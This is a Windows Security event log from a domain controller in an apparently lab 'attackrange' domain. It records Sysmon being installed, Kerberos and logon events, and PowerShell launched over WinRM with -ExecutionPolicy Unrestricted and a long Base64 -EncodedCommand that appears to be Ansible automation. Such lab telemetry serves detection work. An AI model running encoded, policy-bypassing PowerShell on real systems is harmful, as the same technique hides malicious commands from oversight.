Process ID: 0x130c - New Process Name: C:\Windows\System32\wevtutil.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x1254 - Creator Process Name: C:\Windows\sysmon64.exe - Process Command Line: "C:\Windows\system32\wevtutil.exe" um "C:\Users\ADMINI~1\AppData\Local\Temp\MANCEC1.tmp" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:50:38 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=253327 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x19D1B0 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1254 - New Process Name: C:\Windows\sysmon64.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x13f8 - Creator Process Name: C:\Program Files\ansible\sysmon\Sysmon64.exe - Process Command Line: "C:\Windows\sysmon64.exe" -nologo -accepteula -m - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:50:38 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=253326 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x19D1B0 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x13f8 - New Process Name: C:\Program Files\ansible\sysmon\Sysmon64.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x284 - Creator Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Process Command Line: "c:\Program Files\ansible\sysmon\sysmon64.exe" -accepteula -i "c:\Program Files\ansible\AttackRangeSysmon.xml" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:50:38 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=253325 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x19F169 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:50:38 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=253324 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x19F169 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {6F3B26BA-BC3E-A5E1-51F8-615CA8DE1923} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:50:38 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=253323 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {6F3B26BA-BC3E-A5E1-51F8-615CA8DE1923} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:50:38 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=253322 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {6F3B26BA-BC3E-A5E1-51F8-615CA8DE1923} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:50:38 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=253321 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:50:38 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=253320 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x19D1B0 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x11b0 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x1270 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\ADMINI~1\AppData\Local\Temp\RESCD5A.tmp" "c:\Users\Administrator\AppData\Local\Temp\CSC1F86E9A34ABD4E93BAF0DB17D5DD46D0.TMP" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:50:38 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=253319 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x19D1B0 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1270 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x284 - Creator Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Process Command Line: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\ADMINI~1\AppData\Local\Temp\oghn0x0x.cmdline" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:50:40 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=253333 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1324 - New Process Name: C:\Windows\System32\wbem\unsecapp.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1e0 - Creator Process Name: C:\Windows\System32\svchost.exe - Process Command Line: C:\Windows\system32\wbem\unsecapp.exe -Embedding - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:50:41 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=253369 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x1A5EAC - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:50:41 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=253368 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x1A5EAC - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {6BF77121-DCD4-333D-F6E0-78FD10C725A8} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:50:41 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=253367 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {6BF77121-DCD4-333D-F6E0-78FD10C725A8} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:50:41 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=253366 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {6BF77121-DCD4-333D-F6E0-78FD10C725A8} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:50:41 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=253365 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:50:41 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=253364 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x1A4EEB - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1064 - New Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x137c - Creator Process Name: C:\Windows\System32\cmd.exe - Process Command Line: PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAASgBnAEIAagBBAEcAZwBBAFkAdwBCAHcAQQBDADQAQQBZAHcAQgB2AEEARwAwAEEASQBBAEEAMgBBAEQAVQBBAE0AQQBBAHcAQQBEAEUAQQBJAEEAQQArAEEAQwBBAEEASgBBAEIAdQBBAEgAVQBBAGIAQQBCAHMAQQBBAG8AQQBKAEEAQgBsAEEASABnAEEAWgBRAEIAagBBAEYAOABBAGQAdwBCAHkAQQBHAEUAQQBjAEEAQgB3AEEARwBVAEEAYwBnAEIAZgBBAEgATQBBAGQAQQBCAHkAQQBDAEEAQQBQAFEAQQBnAEEAQwBRAEEAYQBRAEIAdQBBAEgAQQBBAGQAUQBCADAAQQBDAEEAQQBmAEEAQQBnAEEARQA4AEEAZABRAEIAMABBAEMAMABBAFUAdwBCADAAQQBIAEkAQQBhAFEAQgB1AEEARwBjAEEAQwBnAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAGcAQQBEADAAQQBJAEEAQQBrAEEARwBVAEEAZQBBAEIAbABBAEcATQBBAFgAdwBCADMAQQBIAEkAQQBZAFEAQgB3AEEASABBAEEAWgBRAEIAeQBBAEYAOABBAGMAdwBCADAAQQBIAEkAQQBMAGcAQgBUAEEASABBAEEAYgBBAEIAcABBAEgAUQBBAEsAQQBCAEEAQQBDAGcAQQBJAGcAQgBnAEEARABBAEEAWQBBAEEAdwBBAEcAQQBBAE0AQQBCAGcAQQBEAEEAQQBJAGcAQQBwAEEAQwB3AEEASQBBAEEAeQBBAEMAdwBBAEkAQQBCAGIAQQBGAE0AQQBkAEEAQgB5AEEARwBrAEEAYgBnAEIAbgBBAEYATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBQAEEASABBAEEAZABBAEIAcABBAEcAOABBAGIAZwBCAHoAQQBGADAAQQBPAGcAQQA2AEEARgBJAEEAWgBRAEIAdABBAEcAOABBAGQAZwBCAGwAQQBFAFUAQQBiAFEAQgB3AEEASABRAEEAZQBRAEIARgBBAEcANABBAGQAQQBCAHkAQQBHAGsAQQBaAFEAQgB6AEEAQwBrAEEAQwBnAEIASgBBAEcAWQBBAEkAQQBBAG8AQQBDADAAQQBiAGcAQgB2AEEASABRAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAHUAQQBFAHcAQQBaAFEAQgB1AEEARwBjAEEAZABBAEIAbwBBAEMAQQBBAEwAUQBCAGwAQQBIAEUAQQBJAEEAQQB5AEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAGQAQQBCAG8AQQBIAEkAQQBiAHcAQgAzAEEAQwBBAEEASQBnAEIAcABBAEcANABBAGQAZwBCAGgAQQBHAHcAQQBhAFEAQgBrAEEAQwBBAEEAYwBBAEIAaABBAEgAawBBAGIAQQBCAHYAQQBHAEUAQQBaAEEAQQBpAEEAQwBBAEEAZgBRAEEASwBBAEYATQBBAFoAUQBCADAAQQBDADAAQQBWAGcAQgBoAEEASABJAEEAYQBRAEIAaABBAEcASQBBAGIAQQBCAGwAQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAGEAZwBCAHoAQQBHADgAQQBiAGcAQgBmAEEASABJAEEAWQBRAEIAMwBBAEMAQQBBAEwAUQBCAFcAQQBHAEUAQQBiAEEAQgAxAEEARwBVAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEUAQQBYAFEAQQBLAEEAQwBRAEEAWgBRAEIANABBAEcAVQBBAFkAdwBCAGYAQQBIAGMAQQBjAGcAQgBoAEEASABBAEEAYwBBAEIAbABBAEgASQBBAEkAQQBBADkAQQBDAEEAQQBXAHcAQgBUAEEARwBNAEEAYwBnAEIAcABBAEgAQQBBAGQAQQBCAEMAQQBHAHcAQQBiAHcAQgBqAEEARwBzAEEAWABRAEEANgBBAEQAbwBBAFEAdwBCAHkAQQBHAFUAQQBZAFEAQgAwAEEARwBVAEEASwBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEEAQQBYAFEAQQBwAEEAQQBvAEEASgBnAEEAawBBAEcAVQBBAGUAQQBCAGwAQQBHAE0AQQBYAHcAQgAzAEEASABJAEEAWQBRAEIAdwBBAEgAQQBBAFoAUQBCAHkAQQBBAD0APQA= - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:50:41 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=253363 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x1A4EEB - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x137c - New Process Name: C:\Windows\System32\cmd.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x11e0 - Creator Process Name: C:\Windows\System32\winrshost.exe - Process Command Line: C:\Windows\system32\cmd.exe /C PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAASgBnAEIAagBBAEcAZwBBAFkAdwBCAHcAQQBDADQAQQBZAHcAQgB2AEEARwAwAEEASQBBAEEAMgBBAEQAVQBBAE0AQQBBAHcAQQBEAEUAQQBJAEEAQQArAEEAQwBBAEEASgBBAEIAdQBBAEgAVQBBAGIAQQBCAHMAQQBBAG8AQQBKAEEAQgBsAEEASABnAEEAWgBRAEIAagBBAEYAOABBAGQAdwBCAHkAQQBHAEUAQQBjAEEAQgB3AEEARwBVAEEAYwBnAEIAZgBBAEgATQBBAGQAQQBCAHkAQQBDAEEAQQBQAFEAQQBnAEEAQwBRAEEAYQBRAEIAdQBBAEgAQQBBAGQAUQBCADAAQQBDAEEAQQBmAEEAQQBnAEEARQA4AEEAZABRAEIAMABBAEMAMABBAFUAdwBCADAAQQBIAEkAQQBhAFEAQgB1AEEARwBjAEEAQwBnAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAGcAQQBEADAAQQBJAEEAQQBrAEEARwBVAEEAZQBBAEIAbABBAEcATQBBAFgAdwBCADMAQQBIAEkAQQBZAFEAQgB3AEEASABBAEEAWgBRAEIAeQBBAEYAOABBAGMAdwBCADAAQQBIAEkAQQBMAGcAQgBUAEEASABBAEEAYgBBAEIAcABBAEgAUQBBAEsAQQBCAEEAQQBDAGcAQQBJAGcAQgBnAEEARABBAEEAWQBBAEEAdwBBAEcAQQBBAE0AQQBCAGcAQQBEAEEAQQBJAGcAQQBwAEEAQwB3AEEASQBBAEEAeQBBAEMAdwBBAEkAQQBCAGIAQQBGAE0AQQBkAEEAQgB5AEEARwBrAEEAYgBnAEIAbgBBAEYATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBQAEEASABBAEEAZABBAEIAcABBAEcAOABBAGIAZwBCAHoAQQBGADAAQQBPAGcAQQA2AEEARgBJAEEAWgBRAEIAdABBAEcAOABBAGQAZwBCAGwAQQBFAFUAQQBiAFEAQgB3AEEASABRAEEAZQBRAEIARgBBAEcANABBAGQAQQBCAHkAQQBHAGsAQQBaAFEAQgB6AEEAQwBrAEEAQwBnAEIASgBBAEcAWQBBAEkAQQBBAG8AQQBDADAAQQBiAGcAQgB2AEEASABRAEEASQBBAEEAawBBAEgATQBBAGMAQQ